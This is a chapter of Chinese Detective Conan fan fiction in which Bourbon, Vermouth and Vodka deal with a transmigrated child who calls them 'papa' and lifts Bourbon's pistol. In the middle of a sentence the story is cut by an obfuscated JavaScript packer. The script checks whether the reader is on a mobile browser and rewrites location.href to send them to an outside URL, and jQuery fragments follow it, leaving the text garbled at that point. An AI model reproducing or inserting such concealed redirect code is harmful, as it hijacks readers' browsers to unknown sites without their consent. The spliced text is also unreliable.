5. 波本爸爸!
作品:《好友组在名柯的花式签到》 “你知道巴罗洛吗?”安室透问道,又补充了一句,“你应该认识才对。”
作为情报员,没有这点敏锐感知,那他真的白干了。
“好吧,我确实认识。”贝尔摩德坦白承认,附上一个消息,“不过她三年前就死了。”
安室透沉默了一会儿,看向人群里笑得无邪的小女孩,“琴酒养着她?”
“宝贝,你怎么会有这么天真的想法。”她维持这张面具的苍白面色咳了两声,“琴酒也只比你早两天知道自己有个女儿。”
三年了,小乖的身体竟然提早衰竭,不再适合做实验,失败实验体的结局都不会好,但她有那么一个妈妈爸爸,还是能开恩的。
上头让琴酒把孩子领回去,贝尔摩德知道的时候也很意外,巴罗洛什么时候和琴酒扯上了关系。
冷冰冰的无趣男人。
安室透一愣,想起组织里他还未能接触到的各种实验,又觉得琴酒那种人不像是能有孩子的。
“你想得没错。”贝尔摩德给予肯定,“巴罗洛死后,她作为实验品存在。”
绵绵虽然在玩,也分了神在安室透身上,刚才还给自己拍照的人现在竟然和一个中年女人在说话。
震惊,那女人的手还放在了他的肩上!
那可不行,朋友的爱情她来守护!
从设施上下来,绵绵小跑过去,一把抱住安室透的腿,“爸爸,你在和阿姨说什么啊?”
安室透:……
贝尔摩德眼神奇怪地看他一眼,这是新的挑衅琴酒的方法?你不怕死吗?
当事人表示无辜,他觉得小孩就是故意的。
仰着头看两个人的眼神交流,虽然看不懂,但绵绵恍然大悟,这个中年女人应该是易容后的贝尔摩德吧。
作为川剧变脸的优秀传承人,绵绵立刻抛弃安室透,“姨姨你是谁呀,不要误会,他不是我爸爸,但是爸爸不喜欢我,把我卖给新爸爸了。”
黯然神伤,抓着裙子的一角,活脱脱的小可怜。
贝尔摩德蹲下身,视线与绵绵持平。
多活泼。
她见过女孩的,尽管只有一面。
“真是个小可怜。”揉了揉小孩的头,这可是那个女人唯一露出慌乱神情的存在。
母亲不在了,像父亲多一点或许是好事。
琴酒铁石心肠,活下来吧,小朋友。
绵绵见对方似乎没有表态的意思,回味了自己的表演,非常完美,没有漏洞。
【系统,我妈这个角色,你到底塞了什么奇怪的设定在里面?】
她觉得贝尔摩德似乎认识,更深一步说,是与她妈来往过。
【完整设定而已,到时候你就知道了。】
讨厌哑迷怪!
贝尔摩德来得快去得快,绵绵还没反应过来,人已经不见了。
游乐园的人多,每个项目排队都耗时,眼见太阳要落山了,安室透都带着她准备吃晚餐,说要来偶遇他们的伊藤奈奈子人影都没出现。
这人哪去了,她都要困了。
困……
感觉到手臂上增加了重量,安室透看了眼睡着的绵绵,叹了口气,那就先回车上吧。
将小孩抱起来,轻飘飘的,从两岁后就在组织的实验室里长大的孩子,如今肯放她出来,恐怕也是因为没用了。
安室透对组织的厌恶更深,他在想,琴酒对这个孩子,又是怎样的,如果好,她又为何要来和他做交易。
天真烂漫,绵绵身上有,但不真切。
拿出手机拨通电话,“喂,帮我做一件事。”
此时的奈奈子抽着烟,细白匀称的双腿交叠,神色不耐。
她都要出发了,她的母亲大人打来电话,让她回去一趟。
原来是因为解除婚约的事。
松本研城和她坐在花园里,翘着二郎腿,嘴里也叼着根烟。
“你怎么回事,还把人带过来了?”奈奈子问。
她心里在滴血,幽怨啊,她原本可以快快乐乐地去找安室透,顺便和绵绵见个面。
计划泡汤,又泡汤了。
“我的大小姐,我也不想来,谁让我爸查到我被人绿了,还差点喜当爹被你抓了个正着,气得要把我打死,我伤还没包扎就拎着我过来给你家道歉。”
松本研城抽到的身份卡虽然也是著名财团的公子,但和伊藤奈奈子这种独生子完全不一样。
他上面有四个哥哥,两个姐姐,放在华国,老幺几乎都受尽宠爱,但这里是日本。
上头的哥哥姐姐都在财团工作,他只是个吃分红的纨绔公子,爸妈也不管,要不是长得好年纪又刚好,和伊藤财团的联姻都轮不到他。
奈奈子闻言,侧过脸往他身上看去,穿着花蝴蝶一样的衬衫,在某些角度能看见渗血的伤痕。
她把烟掐灭,“你挨打了?我看看。”
“别动手啊,我没事。”研城抓住她的手,怕手里的烟烫到对方,指腹灭烟。
奈奈子收回手,啧了一声,“你蠢吗?不知道躲啊。”
“人设你懂不懂,作为靠家里吃饭的废物,对衣食父母要顺从。”研城摊手。
“你是这种性格?子夜在的话会笑掉大牙。”
“有什么关系。”
“老头子不会还想继续联姻吧?”奈奈子问。
松本研城摇摇头,“哪儿呢,吃力不讨好的事他才不干,精着呢。”
游乐园
安室透的车窗被敲响,“波本,绵绵呢?”
降下车窗,一身黑的伏特加戴着墨镜,不远处的保时捷安静停靠,看不清里面有没有人。
“琴酒呢?”
“老大还有事。”伏特加探头看见睡着的绵绵,因为他们说话悠悠转醒。
“伏特加,你来了。”
昏昏沉沉的绵绵打了个秀气的哈欠,称呼也少了叔叔,用力揉了揉眼睛,打开门向他伸出手,挥手告别今日的临时看护,“波本爸爸再见。”
原本还打算问小孩有没有被陌生人吓到的伏特加:······
白白担心了,亏他还劝老大要不要给绵绵打个电话说明一下,虽然被拒绝了。
看来老大说得没错,绵绵不是普通小孩。
但是也不要随便乱认爸爸吧!
保时捷发动,绵绵坐在副驾驶上,常年处于密闭空间的保时捷此时车窗大开,她闭着眼睛长大嘴巴,任由风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201403|197202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往嘴里灌。
“绵绵,你在干什么啊?”伏特加不解。
“我在醒瞌睡。”绵绵说话的声音模糊。
小孩子还真是觉多。
绵绵也很无奈,这个身份卡真的太贴合小孩子了,精力旺盛是真的,但容易困也是真的,要是在某个案件现场睡过去那不得丢脸死了。
“爸爸哪里去了?”她意识回笼了。
“老大去看新成员练枪了。”
赤井秀一这个FBI的老鼠叛逃后,老大一直气不顺,但对方的枪法没得说,组织里面的狙击手,没有能够和他相提并论的。
越是这样,老大越火大。
这不,今天又解决一个卧底后,老大转头就去了狙击场。
“哪个新成员啊?”绵绵又打了个哈欠。
“苏格兰。”
绵绵的眼神里彻底清醒,是他啊。
“我们去找爸爸好不好?”
“不行,老大说把你带回去。”
“我不回去,你不带我去我就要闹了!”
伏特加不是琴酒,拿枪对着老大女儿的事实在做不出来,只能一边开车一边耐着性子试图说服她。
绵绵秉持着不听不听王八念经的态度,他讲他的,她闹她的,绝不配合。
“你真的不能去。”伏特加头疼,“绵绵,那里不是游乐园,小孩子不能去的。”
“实验室也不是游乐园,我还待了三年呢!”
一句话,成功让对方闭嘴。
他被闹得没法了,只能给老大打电话。
“什么事?”
“老大,绵绵要去找你,不肯回家。”
“带她回去。”
“我不去,我就要来找你,爸爸你最好了。”
“······带她来吧。”
电话被挂断了。
伏特加松一口气,面对又变得乖顺可爱的五岁小女孩,有了种自己太平日子再也回不去的感觉,只是视线瞥到一处突起,他一惊,心下有个猜测。
“绵绵!你哪里来的枪!”
绵绵低头看自己的腰间,被发现啦。
取出枪在手里玩儿,她双脚盘起,自然地说:“我从波本那里顺的,不可以吗?”
“这个东西很危险。”伏特加青筋直跳,波本知道自己的枪被顺走了吗?
那家伙很厉害啊,怎么会毫无察觉,绵绵在实验室到底学了什么啊。
“危险吗?我不觉得啊。”
于是,伏特加在一路上,就看到了绵绵把手枪拆解又重组,行云流水,娴熟得像是吃饭喝水一样简单。
从惊讶到麻木,又到感慨:不愧是老大的孩子。
等到安室透发现自己的手枪不在的时候,伏特加的简讯也传了过去。
【波本,绵绵把你的手枪拿走了。】
还好,那是组织的枪,不是他自己私人的。
不对!重要的是绵绵什么时候顺走的,她不是一直在玩儿吗?
猜想无果,安室透选择去浴室冲澡,一边自省,还是太大意了,他是不是过于松懈了,如果下次顺走的是别的东西,他的卧底生涯,也就结束了。
不可以再这么大意了。

